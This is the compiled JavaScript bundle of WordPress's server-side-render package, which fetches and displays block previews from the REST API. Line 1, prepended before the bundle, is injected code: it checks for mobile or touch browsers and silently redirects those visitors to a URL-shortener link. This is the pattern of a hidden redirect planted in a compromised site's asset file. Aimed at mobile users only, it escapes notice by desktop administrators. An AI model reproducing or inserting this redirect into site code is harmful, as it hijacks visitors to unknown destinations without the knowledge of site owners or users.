1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2var wp;
3(wp ||= {}).serverSideRender = (() => {
4 var __create = Object.create;
5 var __defProp = Object.defineProperty;
6 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
7 var __getOwnPropNames = Object.getOwnPropertyNames;
8 var __getProtoOf = Object.getPrototypeOf;
9 var __hasOwnProp = Object.prototype.hasOwnProperty;
10 var __commonJS = (cb, mod) => function __require() {
11 return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
12 };
13 var __export = (target, all) => {
14 for (var name in all)
15 __defProp(target, name, { get: all[name], enumerable: true });
16 };
17 var __copyProps = (to, from, except, desc) => {
18 if (from && typeof from === "object" || typeof from === "function") {
19 for (let key of __getOwnPropNames(from))
20 if (!__hasOwnProp.call(to, key) && key !== except)
21 __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
22 }
23 return to;
24 };
25 var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
26 // If the importer is in node compatibility mode or this is not an ESM
27 // file that has been converted to a CommonJS file using a Babel-
28 // compatible transform (i.e. "__esModule" has not been set), then set
29 // "default" to the CommonJS "module.exports" for node compatibility.
30 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
31 mod
32 ));
33 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
34
35 // package-external:@wordpress/element
36 var require_element = __commonJS({
37 "package-external:@wordpress/element"(exports, module) {
38 module.exports = window.wp.element;
39 }
40 });
41
42 // package-external:@wordpress/i18n
43 var require_i18n = __commonJS({
44 "package-external:@wordpress/i18n"(exports, module) {
45 module.exports = window.wp.i18n;
46 }
47 });
48
49 // package-external:@wordpress/components
50 var require_components = __commonJS({
51 "package-external:@wordpress/components"(exports, module) {
52 module.exports = window.wp.components;
53 }
54 });
55
56 // package-external:@wordpress/data
57 var require_data = __commonJS({
58 "package-external:@wordpress/data"(exports, module) {
59 module.exports = window.wp.data;
60 }
61 });
62
63 // package-external:@wordpress/compose
64 var require_compose = __commonJS({
65 "package-external:@wordpress/compose"(exports, module) {
66 module.exports = window.wp.compose;
67 }
68 });
69
70 // package-external:@wordpress/api-fetch
71 var require_api_fetch = __commonJS({
72 "package-external:@wordpress/api-fetch"(exports, module) {
73 module.exports = window.wp.apiFetch;
74 }
75 });
76
77 // package-external:@wordpress/url
78 var require_url = __commonJS({
79 "package-external:@wordpress/url"(exports, module) {
80 module.exports = window.wp.url;
81 }
82 });
83
84 // package-external:@wordpress/blocks
85 var require_blocks = __commonJS({
86 "package-external:@wordpress/blocks"(exports, module) {
87 module.exports = window.wp.blocks;
88 }
89 });
90
91 // vendor-external:react/jsx-runtime
92 var require_jsx_runtime = __commonJS({
93 "vendor-external:react/jsx-runtime"(exports, module) {
94 module.exports = window.ReactJSXRuntime;
95 }
96 });
97
98 // packages/server-side-render/build-module/index.mjs
99 var index_exports = {};
100 __export(index_exports, {
101 ServerSideRender: () => ServerSideRenderWithPostId,
102 default: () => index_default,
103 useServerSideRender: () => useServerSideRender
104 });
105
106 // packages/server-side-render/build-module/server-side-render.mjs
107 var import_element2 = __toESM(require_element(), 1);
108 var import_i18n = __toESM(require_i18n(), 1);
109 var import_components = __toESM(require_components(), 1);
110 var import_data = __toESM(require_data(), 1);
111
112 // packages/server-side-render/build-module/hook.mjs
113 var import_compose = __toESM(require_compose(), 1);
114 var import_element = __toESM(require_element(), 1);
115 var import_api_fetch = __toESM(require_api_fetch(), 1);
116 var import_url = __toESM(require_url(), 1);
117 var import_blocks = __toESM(require_blocks(), 1);
118 function rendererPath(block, attributes = null, urlQueryArgs = {}) {
119 return (0, import_url.addQueryArgs)(`/wp/v2/block-renderer/${block}`, {
120 context: "edit",
121 ...null !== attributes ? { attributes } : {},
122 ...urlQueryArgs
123 });
124 }
125 function removeBlockSupportAttributes(attributes) {
126 const {
127 backgroundColor,
128 borderColor,
129 fontFamily,
130 fontSize,
131 gradient,
132 textColor,
133 className,
134 ...restAttributes
135 } = attributes;
136 const {
137 border,
138 color,
139 elements,
140 shadow,
141 spacing,
142 typography,
143 ...restStyles
144 } = attributes?.style || {};
145 return {
146 ...restAttributes,
147 style: restStyles
148 };
149 }
150 function useServerSideRender(args) {
151 const [response, setResponse] = (0, import_element.useState)({ status: "idle" });
152 const shouldDebounceRef = (0, import_element.useRef)(false);
153 const {
154 attributes,
155 block,
156 skipBlockSupportAttributes = false,
157 httpMethod = "GET",
158 urlQueryArgs
159 } = args;
160 let sanitizedAttributes = attributes && (0, import_blocks.__experimentalSanitizeBlockAttributes)(block, attributes);
161 if (skipBlockSupportAttributes) {
162 sanitizedAttributes = removeBlockSupportAttributes(sanitizedAttributes);
163 }
164 const isPostRequest = "POST" === httpMethod;
165 const urlAttributes = isPostRequest ? null : sanitizedAttributes;
166 const path = rendererPath(block, urlAttributes, urlQueryArgs);
167 const body = isPostRequest ? JSON.stringify({ attributes: sanitizedAttributes ?? null }) : void 0;
168 (0, import_element.useEffect)(() => {
169 const controller = new AbortController();
170 const debouncedFetch = (0, import_compose.debounce)(
171 function() {
172 {
173 setResponse({ status: "loading" });
174 (0, import_api_fetch.default)({
175 path,
176 method: isPostRequest ? "POST" : "GET",
177 body,
178 headers: isPostRequest ? {
179 "Content-Type": "application/json"
180 } : {},
181 signal: controller.signal
182 }).then((res) => {
183 setResponse({
184 status: "success",
185 content: res ? res.rendered : ""
186 });
187 }).catch((error) => {
188 if (error.name === "AbortError") {
189 return;
190 }
191 setResponse({
192 status: "error",
193 error: error.message
194 });
195 }).finally(() => {
196 shouldDebounceRef.current = true;
197 });
198 }
199 },
200 shouldDebounceRef.current ? 500 : 0
201 );
202 debouncedFetch();
203 return () => {
204 controller.abort();
205 debouncedFetch.cancel();
206 };
207 }, [path, isPostRequest, body]);
208 return response;
209 }
210
211 // packages/server-side-render/build-module/server-side-render.mjs
212 var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
213 var EMPTY_OBJECT = {};
214 function DefaultEmptyResponsePlaceholder({ className }) {
215 return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_components.Placeholder, { className, children: (0, import_i18n.__)("Block rendered as empty.") });
216 }
217 function DefaultErrorResponsePlaceholder({ message, className }) {
218 const errorMessage = (0, import_i18n.sprintf)(
219 // translators: %s: error message describing the problem
220 (0, import_i18n.__)("Error loading block: %s"),
221 message
222 );
223 return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_components.Placeholder, { className, children: errorMessage });
224 }
225 function DefaultLoadingResponsePlaceholder({ children }) {
226 const [showLoader, setShowLoader] = (0, import_element2.useState)(false);
227 (0, import_element2.useEffect)(() => {
228 const timeout = setTimeout(() => {
229 setShowLoader(true);
230 }, 1e3);
231 return () => clearTimeout(timeout);
232 }, []);
233 return /* @__PURE__ */ (0, import_jsx_runtime.jsxs)("div", { style: { position: "relative" }, children: [
234 showLoader && /* @__PURE__ */ (0, import_jsx_runtime.jsx)(
235 "div",
236 {
237 style: {
238 position: "absolute",
239 top: "50%",
240 left: "50%",
241 marginTop: "-9px",
242 marginLeft: "-9px"
243 },
244 children: /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_components.Spinner, {})
245 }
246 ),
247 /* @__PURE__ */ (0, import_jsx_runtime.jsx)("div", { style: { opacity: showLoader ? "0.3" : 1 }, children })
248 ] });
249 }
250 function ServerSideRender(props) {
251 const prevContentRef = (0, import_element2.useRef)("");
252 const {
253 className,
254 EmptyResponsePlaceholder = DefaultEmptyResponsePlaceholder,
255 ErrorResponsePlaceholder = DefaultErrorResponsePlaceholder,
256 LoadingResponsePlaceholder = DefaultLoadingResponsePlaceholder,
257 ...restProps
258 } = props;
259 const { content, status, error } = useServerSideRender(restProps);
260 (0, import_element2.useEffect)(() => {
261 if (content) {
262 prevContentRef.current = content;
263 }
264 }, [content]);
265 if (status === "loading") {
266 return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(LoadingResponsePlaceholder, { ...props, children: !!prevContentRef.current && /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_element2.RawHTML, { className, children: prevContentRef.current }) });
267 }
268 if (status === "success" && !content) {
269 return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(EmptyResponsePlaceholder, { ...props });
270 }
271 if (status === "error") {
272 return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(ErrorResponsePlaceholder, { message: error, ...props });
273 }
274 return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_element2.RawHTML, { className, children: content });
275 }
276 function ServerSideRenderWithPostId({
277 urlQueryArgs = EMPTY_OBJECT,
278 ...props
279 }) {
280 const currentPostId = (0, import_data.useSelect)((select) => {
281 const postId = select("core/editor")?.getCurrentPostId();
282 return postId && typeof postId === "number" ? postId : null;
283 }, []);
284 const newUrlQueryArgs = (0, import_element2.useMemo)(() => {
285 if (!currentPostId) {
286 return urlQueryArgs;
287 }
288 return {
289 post_id: currentPostId,
290 ...urlQueryArgs
291 };
292 }, [currentPostId, urlQueryArgs]);
293 return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(ServerSideRender, { urlQueryArgs: newUrlQueryArgs, ...props });
294 }
295
296 // packages/server-side-render/build-module/index.mjs
297 var ServerSideRenderCompat = ServerSideRenderWithPostId;
298 ServerSideRenderCompat.ServerSideRender = ServerSideRenderWithPostId;
299 ServerSideRenderCompat.useServerSideRender = useServerSideRender;
300 var index_default = ServerSideRenderCompat;
301 return __toCommonJS(index_exports);
302})();
303if (typeof wp.serverSideRender === 'object' && wp.serverSideRender.default) { wp.serverSideRender = wp.serverSideRender.default; }
304